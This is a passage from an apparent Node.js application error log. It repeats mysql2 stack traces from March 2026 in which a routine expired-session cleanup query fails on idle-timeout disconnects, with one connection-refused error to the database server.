    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-27 05:38:23' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-27 06:51:24' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-27 06:51:24' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-27 07:43:25' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-27 07:43:25' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-27 10:18:26' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-27 10:18:26' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-27 13:26:27' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-27 13:26:27' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-27 15:03:28' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-27 15:03:28' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-27 17:08:28' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-27 17:08:28' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-27 18:01:29' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-27 18:01:29' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-27 19:58:30' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-27 19:58:30' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-27 20:36:31' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-27 20:36:31' as DATETIME)"
}
AggregateError [ECONNREFUSED]: 
    at internalConnectMultiple (node:net:1134:18)
    at afterConnectMultiple (node:net:1715:7) {
  code: 'ECONNREFUSED',
  fatal: true,
  [errors]: [
    Error: connect ECONNREFUSED 2a01:4f9:3071:1fc3::396:3306
        at createConnectionError (node:net:1678:14)
        at afterConnectMultiple (node:net:1708:16) {
      errno: -111,
      code: 'ECONNREFUSED',
      syscall: 'connect',
      address: '2a01:4f9:3071:1fc3::396',
      port: 3306
    },
    Error: connect ECONNREFUSED 65.21.215.19:3306
        at createConnectionError (node:net:1678:14)
        at afterConnectMultiple (node:net:1708:16) {
      errno: -111,
      code: 'ECONNREFUSED',
      syscall: 'connect',
      address: '65.21.215.19',
      port: 3306
    }
  ]
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-27 21:23:31' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-27 21:23:31' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-27 22:08:31' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-27 22:08:31' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-27 22:18:31' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-27 22:18:31' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-27 23:21:31' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-27 23:21:31' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-28 08:57:32' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-28 08:57:32' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-28 11:10:33' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-28 11:10:33' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-28 14:36:33' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-28 14:36:33' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-28 16:34:34' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-28 16:34:34' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-28 18:05:34' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-28 18:05:34' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-29 00:09:35' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
